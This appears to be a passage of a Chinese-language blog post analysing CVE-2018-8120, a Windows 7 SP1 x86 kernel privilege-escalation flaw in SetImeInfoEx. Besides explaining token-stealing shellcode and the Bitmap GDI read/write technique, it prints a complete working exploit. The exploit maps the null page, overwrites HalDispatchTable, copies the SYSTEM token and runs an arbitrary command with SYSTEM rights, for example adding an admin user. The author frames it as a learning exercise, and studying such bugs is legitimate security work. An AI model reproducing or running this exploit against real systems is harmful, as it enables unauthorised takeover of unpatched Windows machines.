? 在windows系统中，每创建一个进程系统内核就会为其创建一个EPROCESS，然后使EPROCESS.ActiveProcessLinks.Flink=上一个创建的进程的EPROCESS.ActiveProcessLinks.Flink的地址，而上一个创建进程的EPROCESS.ActiveProcessLinks.Blink=新创建进程的EPROCESS.ActiveProcessLinks.Flink的地址，构成了一个双向链表。所以找到一个就可以通过Flink和Blink遍历整个进程EPROCESS了，又由于System进程是最先创建的进程之一。所以它必然在当前进程(我们编写的这个程序进程)之前，所以就一直循环访问Flink就行了。又因为EPROCESS的UniqueProcessId成员指向的是该EPROCESS所属进程的PID。所以我们就可以循环遍历EPROCESS，判断其PID是否为4.若是就找到了System进程的EPROCESS结构了。
? 既然找到了System进程的EPRCESS了，那么第二步：获取它的Token值还不是轻而易举。下面贴出完整shellcode
__declspec(noinline) int shellcode()
{
__asm {
pushad;// save registers state
mov edx, 0x124;
mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread
mov edx, 0x50;
mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
mov ecx, eax;// Copy current _EPROCESS structure
mov esi, 0xf8;// Token在EPROCESS的偏移为0xf8
mov edx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
mov edi, 0xb8;//Flink在EPROCESS的偏移为0xb8
mov ebx, 0xb4;//UniqueProcessId在EPROCESS的偏移为0xb4
SearchSystemPID:
mov eax, [eax + edi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, edi;// 执行之后，eax 为EPROCESS的地址
cmp[eax + ebx], edx;// Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID;
mov edx, [eax + esi];// Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + esi], edx;// Copy nt!_EPROCESS.Token of SYSTEM to current process
popad;// restore registers state
xor eax, eax;// Set NTSTATUS SUCCEESS
}
}? 因为我们要使我们的shellcode在R0执行，通过在2.2.2中分析的，我们需要得到nt!HalDispatchTable+0x4的值。那么我们只需要得到HalDispatchTable地址，然后加4就行了。
? 要在R3得到内核中得到HalDispatchTable的位置，我们可以使用‘NtQuerySystemInformation‘函数。此函数可帮助用户进程查询内核以获取有关OS和硬件状态的信息。 这个函数没有导入库，我们必须使用‘GetModuleHandle‘和‘GetProcAddress‘在‘ntdll.dll‘的内存范围内动态加载‘NtQuerySystemInformation‘函数。
? 代码如下：
#include <stdio.h>
#include <Windows.h>
#define MAXIMUM_FILENAME_LENGTH 255
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
BYTE Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 11,
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI *PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
int main()
{
ULONG len = 0;
PSYSTEM_MODULE_INFORMATION pModuleInfo;
HMODULE ntdll = GetModuleHandle("ntdll");
PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
//先获取函数返回 "模块信息" 数据得大小存在len中
query(SystemModuleInformation, NULL, 0, &len);
//分配len长度的缓冲区
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
//这下才真正来获取"模块信息"存到 刚刚申请的缓存中
query(SystemModuleInformation, pModuleInfo, len, &len);
//"模块信息"的第一项必为nt内核文件，获取它在内核中的基址
PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
//获取nt内核文件名
PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[0].Name;
kernelImage = strrchr(kernelImage, ‘\\‘) + 1;
wprintf(L"[+] Kernel Image name %S\n", kernelImage);
wprintf(L"[+] Kernel Image Base %p\n", kernelImageBase);
//获取nt内核文件在用户空间下中基址
HMODULE KernelHandle = LoadLibraryA(kernelImage);
wprintf(L"[+] Kernel Handle %p\n", KernelHandle);
//获取"HalDispatchTable"在用户空间中的地址
PVOID HALUserLand = (PVOID)GetProcAddress(KernelHandle, "HalDispatchTable");
wprintf(L"[+] HalDispatchTable userland %p\n", HALUserLand);
PVOID HalDispatchTable = (PVOID)((ULONG)HALUserLand - (ULONG)KernelHandle + (ULONG)kernelImageBase);
wprintf(L"[~] HalDispatchTable Kernel %p\n", HalDispatchTable);
system("pause");
return 0;
}为啥要获取nt内核文件的名字呢？
答：因为NT内核文件的名字会因为单处理器和多处理器以及不同位数的操作系统版本以及是否支持PAE(Physical Address Extension)而不同。所以需要编程获取。
为啥会是HalDispatchTable = HALUserLand - KernelHandle + kernelImageBase?
答：HalDispatchTable在内核中真正的地址需要使用加载模块的基地址+HalDispatchTable在该模块中的偏移来获取的。我们通过NtQuerySystemInformation获取了nt模块的基址kernelimageBase。通过计算用户空间中HalDispatchTable的地址-用户空间中nt模块的地址可以获得偏移。
? 虽然我们已经得到了nt!HalDispatchTable+0x4的值，我们可以先把它指向内存的值先保存起来，然后再改它指向内存的值为我们那段shellcode的值，然后再在R3调用NtQueryIntervalProfile函数就可以使我们的shellcode运行在R0了(2.2.2节)，成功实现提权，然后再把保存起来的那个值再改回去就行了。
? 但是，我们如何在R3来获取nt!HalDispatchTable+0x4所指向内存的值，又如何改nt!HalDispatchTable+0x4所指向内存的值呢？在 5节中我介绍了如何利用 Bitmap GDI函数实现内核任意地址读/写 。假如我们可以修改pvScan0 的值（下面的6.5将会讲解如何修改），我们构造两个Bitmap对象：gManger和gWorker。
具体步骤：
NtQuerySystemInformation执行shellcode下面介绍如何利用SetImeInfoEx(CVE-2018-8120)来改gManger的pvScan0 的值。
? 先贴出SetImeInfoEx的代码吧：
0 signed int __stdcall SetImeInfoEx(tagWINDOWSTATION* a1, tagIMEINFOEX *a2)
1 {
2 signed int result; // eax
3 tagKL *v3; // eax
4 tagIMEINFOEX *v4; // eax
5
6 result = a1;
7 if ( a1 )
8 {
9 v3 = a1->spkList;
10 while ( v3->hkl != a2->hkl )
11 {
12 v3 = v3->pklNext;
13 if ( v3 == a1->spkList )
14 return 0;
15 }
16 v4 = v3->piiex;
17 if ( !v4 )
18 return 0;
19 if ( !v4->fLoadFlag)
20 qmemcpy(v4, a2, 0x15Cu); //sizeof(tagIMEINFOEX)=0x15c
21 result = 1;
22 }
23 return result;
24}? 现在我们有的条件是，a1->spkList为0，而我们已经在0处申请了R3可读可写的内存，v3和v4都是 我们可以控制的，而a2是NtUserSetImeInfoEx(tagIMEINFOEX imeinfo) ,嘿嘿又是我们可以控制的。
? 那么首先我们要跳过while循环，那就让v3->hkl 等于 a2->hkl，然后需要指定v3->piiex等于gManger.pvScan0 的地址，也就是指定qmemcpy目的地址。
? 然后让a2指向内存的头4个字节的值为gWorker.pvScan0的地址。那么执行qmemcpy之后，就可以把gManger.pvScan0的值改为gWorker.pvScan0的地址了。
? 还要注意的是，qmemcpy拷贝了0x15c个字节，势必会影响gManger.pvScan0 之后的内存，后面调用Gdi32 的 GetBitmapBits/SetBitmapBits 这两个函数就会不成功，有几个值是我们必须要在传给NtUserSetImeInfoEx的参数中要构造的imeinfo中填上的，这几个值我抄的网上的文章的。
下面给出构造代码：
PVOID mpv = getpvscan0(gManger);//获得gManger.pvScan0的地址
PVOID wpv = getpvscan0(gWorker);//获得gWorker.pvScan0的地址
P_tagKL pkl = NULL;
pkl->hkl = (HKL__ *)wpv;
pkl->piiex = (tagIMEINFOEX *)((char*)mpv - sizeof(PVOID));//这里-4，也就是说，下面的p[1]也要为wpv
char ime[0x200];
RtlSecureZeroMemory(&ime, 0x200);
PVOID *p = (PVOID*)&ime;
p[0] = (PVOID)wpv;
p[1] = (PVOID)wpv;
DWORD *pp = (DWORD*)&p[2];
pp[0] = 0x180;
pp[1] = 0xabcd;
pp[2] = 6;
pp[3] = 0x10000;
pp[5] = 0x4800200;
NtUserSetImeInfoEx((PVOID)&ime);//触发漏洞//windows 7 sp1 x86 no patch
#include<Windows.h>
#include<stdio.h>
#define MAXIMUM_FILENAME_LENGTH 255
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
BYTE Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 11,
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI *PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
struct tagIMEINFO32
{
unsigned int dwPrivateDataSize;
unsigned int fdwProperty;
unsigned int fdwConversionCaps;
unsigned int fdwSentenceCaps;
unsigned int fdwUICaps;
unsigned int fdwSCSCaps;
unsigned int fdwSelectCaps;
};
typedef struct tagIMEINFOEX
{
HKL__ *hkl;
tagIMEINFO32 ImeInfo;
wchar_t wszUIClass[16];
unsigned int fdwInitConvMode;
int fInitOpen;
int fLoadFlag;
unsigned int dwProdVersion;
unsigned int dwImeWinVersion;
wchar_t wszImeDescription[50];
wchar_t wszImeFile[80];
__int32 fSysWow64Only : 1;
__int32 fCUASLayer : 1;
}IMEINFOEX, *PIMEINFOEX;
struct GDICELL {
PVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
}; //sizeof=0x10
struct _HEAD
{
void *h;
unsigned int cLockObj;
};
struct tagKBDFILE
{
_HEAD head;
tagKBDFILE *pkfNext;
void *hBase;
void *pKbdTbl;
unsigned int Size;
void *pKbdNlsTbl;
wchar_t awchDllName[32];
};
typedef struct _tagKL
{
_HEAD head;
_tagKL *pklNext;
_tagKL *pklPrev;
unsigned int dwKL_Flags;
HKL__ *hkl;
tagKBDFILE *spkf;
tagKBDFILE *spkfPrimary;
unsigned int dwFontSigs;
unsigned int iBaseCharset;
unsigned __int16 CodePage;
wchar_t wchDiacritic;
tagIMEINFOEX *piiex;
unsigned int uNumTbl;
tagKBDFILE **pspkfExtra;
unsigned int dwLastKbdType;
unsigned int dwLastKbdSubType;
unsigned int dwKLID;
}tagKL, *P_tagKL;
typedef BOOL(WINAPI *LPFN_GLPI)(
PSYSTEM_LOGICAL_PROCESSOR_INFORMATION,
PDWORD);
typedef NTSTATUS(WINAPI *NtQueryIntervalProfile_t)(IN ULONG ProfileSource,
OUT PULONG Interval);
NtQueryIntervalProfile_t NtQueryIntervalProfile;
typedef
NTSYSAPI
NTSTATUS
(NTAPI *_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
__declspec(naked) void NtUserSetImeInfoEx(PVOID imeinfo)
{
_asm
{
mov esi, imeinfo;
mov eax, 0x1226;
mov edx, 0x7FFE0300;
call dword ptr[edx];
ret 4;
}
}
PVOID getHalDispatchTableAddress()
{
ULONG len = 0;
PSYSTEM_MODULE_INFORMATION pModuleInfo;
HMODULE ntdll = GetModuleHandle(L"ntdll");
PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
if (query == NULL) {
printf("[!] GetModuleHandle Failed\n");
return 0;
}
query(SystemModuleInformation, NULL, 0, &len);
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
if (pModuleInfo == NULL) {
printf("[!] Failed to allocate memory\n");
return 0;
}
query(SystemModuleInformation, pModuleInfo, len, &len);
if (!len) {
printf("[!] Failed to retrieve system module information\n");
return 0;
}
PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[0].Name;
kernelImage = strrchr(kernelImage, ‘\\‘) + 1;
HMODULE KernelHandle = LoadLibraryA(kernelImage);
PVOID HALUserLand = (PVOID)GetProcAddress(KernelHandle, "HalDispatchTable");
PVOID HalDispatchTable = (PVOID)((ULONG)HALUserLand - (ULONG)KernelHandle + (ULONG)kernelImageBase);
return HalDispatchTable;
}
ULONG getpeb()
{
return __readfsdword(0x30);
}
ULONG getgdi()
{
return *(ULONG *)(getpeb() + 0x94);
}
PVOID getpvscan0(HANDLE h)
{
ULONG p = getgdi() + LOWORD(h) * sizeof(GDICELL); //get bimap kernel object address
GDICELL *c = (GDICELL*)p;
return (char*)c->pKernelAddress + 0x10 + 0x20;
}
__declspec(noinline) int shellcode()
{
__asm {
pushad;// save registers state
mov edx, 0x124;
mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread
mov edx, 0x50;
mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
mov ecx, eax;// Copy current _EPROCESS structure
mov esi, 0xf8;
mov edx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
mov edi, 0xb8;
mov ebx, 0xb4;
SearchSystemPID:
mov eax, [eax + edi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, edi;
cmp[eax + ebx], edx;// Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID;
mov edx, [eax + esi];// Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + esi], edx;// Copy nt!_EPROCESS.Token of SYSTEM to current process
popad;// restore registers state
xor eax, eax;// Set NTSTATUS SUCCEESS
}
}
int main()
{
int argc = 0;
wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
if (argc != 2)
{
puts("Usage: exp.exe command\nExample: exp.exe \"net user admin admin /ad\"");
goto end;
}
PVOID overwrite_address = getHalDispatchTableAddress(); // HalDispatchTable
if (!overwrite_address)
{
goto end;
}
int overwrite_offset = 0x4; // QueryIntervalProfile
HMODULE hntdll = GetModuleHandle(L"ntdll");
_NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
if (!NtAllocateVirtualMemory)
{
printf("[-] Fail to resolve NtAllocateVirtualMemory(0x%X)\n", GetLastError());
goto end;
}
PVOID addr = (PVOID)0x100;
DWORD size = 0x1000;
if (NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE))
{
puts("[-] Fail to alloc null page!");
goto end;
}
HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);
if (!hSta)
{
printf("[-] CreateWindowStationW fail(0x%X)\n", GetLastError());
goto end;
}
if (!SetProcessWindowStation(hSta))
{
printf("[-] SetProcessWindowStation fail(0x%X)\n", GetLastError());
goto end;
}
unsigned int bbuf[0x60] = { 0x90 };
HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);
HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);
PVOID mpv = getpvscan0(gManger);
PVOID wpv = getpvscan0(gWorker);
printf("[+] Get manager at %lx,worker at %lx\n", mpv, wpv);
P_tagKL pkl = NULL;
pkl->hkl = (HKL__ *)wpv;
pkl->piiex = (tagIMEINFOEX *)((char*)mpv - sizeof(PVOID));
char ime[0x200];
RtlSecureZeroMemory(&ime, 0x200);
PVOID *p = (PVOID*)&ime;
p[0] = (PVOID)wpv;
p[1] = (PVOID)wpv;
DWORD *pp = (DWORD*)&p[2];
pp[0] = 0x180;
pp[1] = 0xabcd;
pp[2] = 6;
pp[3] = 0x10000;
pp[5] = 0x4800200;
puts("[+] Triggering vulnerability...");
NtUserSetImeInfoEx((PVOID)&ime);
PVOID sc = &shellcode;
PVOID oaddr = ((char*)overwrite_address + overwrite_offset);
PVOID pOrg = 0;
printf("[+] Overwriting...%lx\n", oaddr);
SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr);
GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);
NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hntdll, "NtQueryIntervalProfile");
if (!NtQueryIntervalProfile) {
printf("[-] Fail to resolve NtQueryIntervalProfile(0x%X)\n", GetLastError());
goto end;
}
ULONG Interval = 0;
puts("[+] Elevating privilege...");
NtQueryIntervalProfile(0x1337, &Interval);
puts("[+] Cleaning up...");
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
SECURITY_ATTRIBUTES sa;
HANDLE hRead, hWrite;
byte buf[40960] = { 0 };
STARTUPINFOW si;
PROCESS_INFORMATION pi;
DWORD bytesRead;
RtlSecureZeroMemory(&si, sizeof(si));
RtlSecureZeroMemory(&pi, sizeof(pi));
RtlSecureZeroMemory(&sa, sizeof(sa));
int br = 0;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hRead, &hWrite, &sa, 0))
{
fflush(stdout);
fflush(stderr);
ExitProcess(5);
}
si.cb = sizeof(STARTUPINFO);
GetStartupInfoW(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.lpDesktop = L"WinSta0\\Default";
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
wchar_t cmd[4096] = { 0 };
lstrcpyW(cmd, argv[1]);
if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
{
fflush(stdout);
fflush(stderr);
CloseHandle(hWrite);
CloseHandle(hRead);
wprintf(L"[-] CreateProcessW failed![%p]\n", GetLastError());
ExitProcess(6);
}
CloseHandle(hWrite);
printf("[+] Process created with pid %d!\n", pi.dwProcessId);
while (1)
{
if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
break;
br += bytesRead;
}
puts((char*)buf);
CloseHandle(hRead);
CloseHandle(pi.hProcess);
end:
fflush(stdout);
fflush(stderr);
fflush(stdout);
ExitProcess(0);
return 0;
}? 附上运行截图：
? 至此，整个分析完毕，这是我第一次分析CVE，因为是才接触，所以肯定有很多不懂，于是我就把这些不懂详细的写了出来。感觉自己收获挺多的。整个分析包括提权利用代码都是看的网上前辈门的分析文章，这篇文章只是我学习过程中分析的。
[1]: https://github.com/unamer/CVE-2018-8120/blob/master/CVE-2018-8120/Source.cpp "CVE利用代码"
[2]: http://www.freebuf.com/column/173797.html "CVE-2018-8120分析(很详细)"
[3]: http://www.freebuf.com/column/174182.html "CVE-2018-8120分析(详细)"
[4]: http://blog.nsfocus.net/null-pointer-vulnerability-defense/ "空指针利用详解"
[5]: https://xiaodaozhi.com/exploit/42.html "内含BITMAP泄露详细分析"
[6]: https://blog.csdn.net/baggiowangyu/article/details/41802229 "使用windbg查看SSDT,SSDTShadow"
[7]: https://osandamalith.com/2017/06/14/windows-kernel-exploitation-arbitrary-overwrite/ "内含寻找HalDispatchTable的方法"
[8]: http://www.cnblogs.com/findumars/p/5812173.html "NtQuerySystemInformation的使用"
[9]: https://blog.csdn.net/whatday/article/details/16118703 "ring0下的 fs:[124]"
[10]: https://www.cnblogs.com/kuangke/p/5761586.html "Shadow SSDT详解"
[11]: 神书《软件调试》-张银奎
[12]: 《Windows核心编程第五版》标签：dfs handles modules 工作 parent rda ffd 超过 stdcall
原文地址：https://www.cnblogs.com/amaza/p/9557838.html
